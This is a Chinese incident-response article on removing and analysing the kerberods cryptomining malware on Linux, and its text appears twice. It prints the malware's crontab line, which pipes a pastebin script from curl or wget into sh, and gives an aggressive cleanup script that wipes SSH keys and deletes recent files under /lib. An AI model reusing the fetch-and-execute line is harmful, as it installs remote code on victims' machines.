kerberods挖矿病毒查杀及分析(crontab 挖矿 curl -fsSL https://pastebin.com/raw)
时间:2019-11-28 18:46 来源:未知 作者:IT
一. 症状及表现
CPU使用率异常高,外出流量异常
crontab异常,存在如下定时任务(基本上就可以确定了)
[root@it.net.cn ~]# crontab -l
*/15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh
在以下目录下存在异常文件
*注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。
[root@it.net.cn ~]# busybox ls -a /tmp |grep ds
/tmp/kerberods
/tmp/khugepageds
[root@it.net.cn ~]# busybox ls -a /usr/sbin |grep kerber
/usr/sbin/kerberods
[root@it.net.cn ~]# busybox ls -a /etc |grep ld.so.preload
/etc/ld.so.preload
[root@it.net.cn ~]# busybox ls -a /usr/local/lib |grep libcry
/usr/local/lib/libcryptod.so
存在以下异常进程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods'
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds'
存在以下异常开机项
/etc/rc.d/init.d/kerberods
/etc/init.d/netdns
常用命令动态链接库被异常修改
[root@it.net.cn ~]# ldd `whereis top |awk '{print $2}'` |grep usr
xxx
二. 查杀方法
先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析
安装busybox
#!/bin/bash
#获取busybox安装包,也可以其他机器下载后离线上传到目标机器
wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2
#需要bzip2,要是机器没有安装的话
yum -y install bzip2
#或者离线安装bzip2
#tar zxvf bzip2-1.0.6.tar.gz
#cd bzip2-1.0.6/
#make -f Makefile-libbz2_so
#make && make install
tar -xvf busybox-1.21.0.tar.bz2
cd ./busybox-1.21.0
make defconfig
#注意,这里最好在相同操作系统的正常机器上进行静态链接
#防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功
#如果条件不允许,第二点将会重点说明
make
make install
ln -s `pwd`/busybox /usr/bin/busybox
busybox|grep BusyBox |grep v
如果最终出现以下信息,证明安装成功
BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary.
重要说明
注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容
[root@it.net.cn ~]# vim /etc/ld.so.preload
查杀脚本
#!/bin/bash
#可以重复执行几次,防止互相拉起导致删除失败
function installBusyBox(){
#参考第一段
busybox|grep BusyBox |grep v
}
function banHosts(){
#删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
busybox echo "" > /root/.ssh/authorized_keys
busybox echo "" > /root/.ssh/id_rsa
busybox echo "" > /root/.ssh/id_rsa.pub
busybox echo "" > /root/.ssh/known_hosts
busybox echo "" > /root/.ssh/auth
#iptables -I INPUT -p tcp --dport 445 -j DROP
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
}
function fixCron(){
#修复crontab
busybox chattr -i /etc/cron.d/root 2>/dev/null
busybox rm -f /etc/cron.d/root
busybox chattr -i /var/spool/cron/root 2>/dev/null
busybox rm -f /var/spool/cron/root
busybox chattr -i /var/spool/cron/tomcat 2>/dev/null
busybox rm -f /var/spool/cron/tomcat
busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -rf /var/spool/cron/tmp.*
busybox rm -rf /var/spool/cron/crontabs
busybox touch /var/spool/cron/root
busybox chattr +i /var/spool/cron/root
}
function killProcess(){
#修复异常进程
busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
busybox rm -f /tmp/khugepageds
busybox rm -f /usr/sbin/kerberods
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
}
function clearLib(){
#修复动态库
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox chattr -i /etc/ld.so.preload 2>/dev/null
busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null
busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
busybox rm -f /etc/ld.so.cache
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox rm -rf /usr/local/lib/libpamcd.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox touch /etc/ld.so.preload
busybox chattr +i /etc/ld.so.preload
ldconfig
}
function clearInit(){
#修复异常开机项
#chkconfig netdns off 2>/dev/null
#chkconfig –del netdns 2>/dev/null
#systemctl disable netdns 2>/dev/null
busybox rm -f /etc/rc.d/init.d/kerberods
busybox rm -f /etc/init.d/netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
#chkconfig watchdogs off 2>/dev/null
#chkconfig --del watchdogs 2>/dev/null
#chkconfig --del kworker 2>/dev/null
#chkconfig --del netdns 2>/dev/null
}
function recoverOk(){
service crond start
busybox sleep 3
busybox chattr -i /var/spool/cron/root
echo "OK,BETTER REBOOT YOUR DEVICE"
}
#先停止crontab服务
service crond stop
#防止病毒继续扩散
banHosts
#清除lib劫持
clearLib
#修复crontab
fixCron
killProcess
clearLib
killProcess
#删除异常开机项
clearInit
fixCron
recoverOk
三. 病毒分析
感染路径
① 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。
② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。
主要模块
主恶意程序:kerberods
恶意Hook库:libcryptod.so libcryptod.c
挖矿程序:khugepageds
恶意脚本文件:netdns (用作kerberods的启停等管理)
执行顺序
① 执行恶意脚本下载命令:
(curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh
1
该下载后的脚本主要操作有
1> 将指令添加到crontab中
2> kill掉同类挖矿进程
3> kill掉高好资源的其他进程
4> 下载执行主恶意程序kerberods
5> 横向ssh传播
② 主进程操作
1> 添加至开机启动
2> 生成了netdns文件
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程
四. 后续安全加固
SSH
① 谨慎做免密登录
② 不使用默认的22端口
③ 禁止root登录
Redis
① 增加授权认证(requirepass参数)
② 尽量使用docker版本(docker pull redis)
③ 隐藏重要的命令
五.参考
watchdogs挖矿病毒,感染分析及解决
挖矿病毒kerberods查杀及分析
(责任编辑:IT)
一. 症状及表现 CPU使用率异常高,外出流量异常 crontab异常,存在如下定时任务(基本上就可以确定了) [root@it.net.cn ~]# crontab -l */15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh 在以下目录下存在异常文件 *注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。 [root@it.net.cn ~]# busybox ls -a /tmp |grep ds /tmp/kerberods /tmp/khugepageds [root@it.net.cn ~]# busybox ls -a /usr/sbin |grep kerber /usr/sbin/kerberods [root@it.net.cn ~]# busybox ls -a /etc |grep ld.so.preload /etc/ld.so.preload [root@it.net.cn ~]# busybox ls -a /usr/local/lib |grep libcry /usr/local/lib/libcryptod.so 存在以下异常进程 busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' 存在以下异常开机项 /etc/rc.d/init.d/kerberods /etc/init.d/netdns 常用命令动态链接库被异常修改 [root@it.net.cn ~]# ldd `whereis top |awk '{print $2}'` |grep usr xxx 二. 查杀方法 先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析 安装busybox #!/bin/bash #获取busybox安装包,也可以其他机器下载后离线上传到目标机器 wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2 #需要bzip2,要是机器没有安装的话 yum -y install bzip2 #或者离线安装bzip2 #tar zxvf bzip2-1.0.6.tar.gz #cd bzip2-1.0.6/ #make -f Makefile-libbz2_so #make && make install tar -xvf busybox-1.21.0.tar.bz2 cd ./busybox-1.21.0 make defconfig #注意,这里最好在相同操作系统的正常机器上进行静态链接 #防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功 #如果条件不允许,第二点将会重点说明 make make install ln -s `pwd`/busybox /usr/bin/busybox busybox|grep BusyBox |grep v 如果最终出现以下信息,证明安装成功 BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary. 重要说明 注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容 [root@it.net.cn ~]# vim /etc/ld.so.preload 查杀脚本 #!/bin/bash #可以重复执行几次,防止互相拉起导致删除失败 function installBusyBox(){ #参考第一段 busybox|grep BusyBox |grep v } function banHosts(){ #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行 busybox echo "" > /root/.ssh/authorized_keys busybox echo "" > /root/.ssh/id_rsa busybox echo "" > /root/.ssh/id_rsa.pub busybox echo "" > /root/.ssh/known_hosts busybox echo "" > /root/.ssh/auth #iptables -I INPUT -p tcp --dport 445 -j DROP busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts } function fixCron(){ #修复crontab busybox chattr -i /etc/cron.d/root 2>/dev/null busybox rm -f /etc/cron.d/root busybox chattr -i /var/spool/cron/root 2>/dev/null busybox rm -f /var/spool/cron/root busybox chattr -i /var/spool/cron/tomcat 2>/dev/null busybox rm -f /var/spool/cron/tomcat busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null busybox rm -f /var/spool/cron/crontabs/root busybox rm -rf /var/spool/cron/tmp.* busybox rm -rf /var/spool/cron/crontabs busybox touch /var/spool/cron/root busybox chattr +i /var/spool/cron/root } function killProcess(){ #修复异常进程 busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox rm -f /tmp/khugepageds busybox rm -f /usr/sbin/kerberods busybox rm -f /usr/sbin/kthrotlds busybox rm -f /usr/sbin/kintegrityds busybox rm -f /usr/sbin/kpsmouseds busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf } function clearLib(){ #修复动态库 busybox rm -f /etc/ld.so.preload busybox rm -f /usr/local/lib/libcryptod.so busybox rm -f /usr/local/lib/libcset.so busybox chattr -i /etc/ld.so.preload 2>/dev/null busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf busybox rm -f /etc/ld.so.cache busybox rm -f /etc/ld.so.preload busybox rm -f /usr/local/lib/libcryptod.so busybox rm -f /usr/local/lib/libcset.so busybox rm -rf /usr/local/lib/libdevmapped.so busybox rm -rf /usr/local/lib/libpamcd.so busybox rm -rf /usr/local/lib/libdevmapped.so busybox touch /etc/ld.so.preload busybox chattr +i /etc/ld.so.preload ldconfig } function clearInit(){ #修复异常开机项 #chkconfig netdns off 2>/dev/null #chkconfig –del netdns 2>/dev/null #systemctl disable netdns 2>/dev/null busybox rm -f /etc/rc.d/init.d/kerberods busybox rm -f /etc/init.d/netdns busybox rm -f /etc/rc.d/init.d/kthrotlds busybox rm -f /etc/rc.d/init.d/kpsmouseds busybox rm -f /etc/rc.d/init.d/kintegrityds #chkconfig watchdogs off 2>/dev/null #chkconfig --del watchdogs 2>/dev/null #chkconfig --del kworker 2>/dev/null #chkconfig --del netdns 2>/dev/null } function recoverOk(){ service crond start busybox sleep 3 busybox chattr -i /var/spool/cron/root echo "OK,BETTER REBOOT YOUR DEVICE" } #先停止crontab服务 service crond stop #防止病毒继续扩散 banHosts #清除lib劫持 clearLib #修复crontab fixCron killProcess clearLib killProcess #删除异常开机项 clearInit fixCron recoverOk 三. 病毒分析 感染路径 ① 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。 ② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。 主要模块 主恶意程序:kerberods 恶意Hook库:libcryptod.so libcryptod.c 挖矿程序:khugepageds 恶意脚本文件:netdns (用作kerberods的启停等管理) 执行顺序 ① 执行恶意脚本下载命令: (curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh 1 该下载后的脚本主要操作有 1> 将指令添加到crontab中 2> kill掉同类挖矿进程 3> kill掉高好资源的其他进程 4> 下载执行主恶意程序kerberods 5> 横向ssh传播 ② 主进程操作 1> 添加至开机启动 2> 生成了netdns文件 3> 将netdns文件设置为开机启动 4> 编译libcryptod.c为/usr/local/lib/libcryptod.so 5> 预加载动态链接库,恶意hook关键系统操作函数 6> 修改/etc/cron.d/root文件,增加定时任务 7> 拉起khugepageds挖矿进程 四. 后续安全加固 SSH ① 谨慎做免密登录 ② 不使用默认的22端口 ③ 禁止root登录 Redis ① 增加授权认证(requirepass参数) ② 尽量使用docker版本(docker pull redis) ③ 隐藏重要的命令 五.参考 watchdogs挖矿病毒,感染分析及解决 挖矿病毒kerberods查杀及分析 (责任编辑:IT) |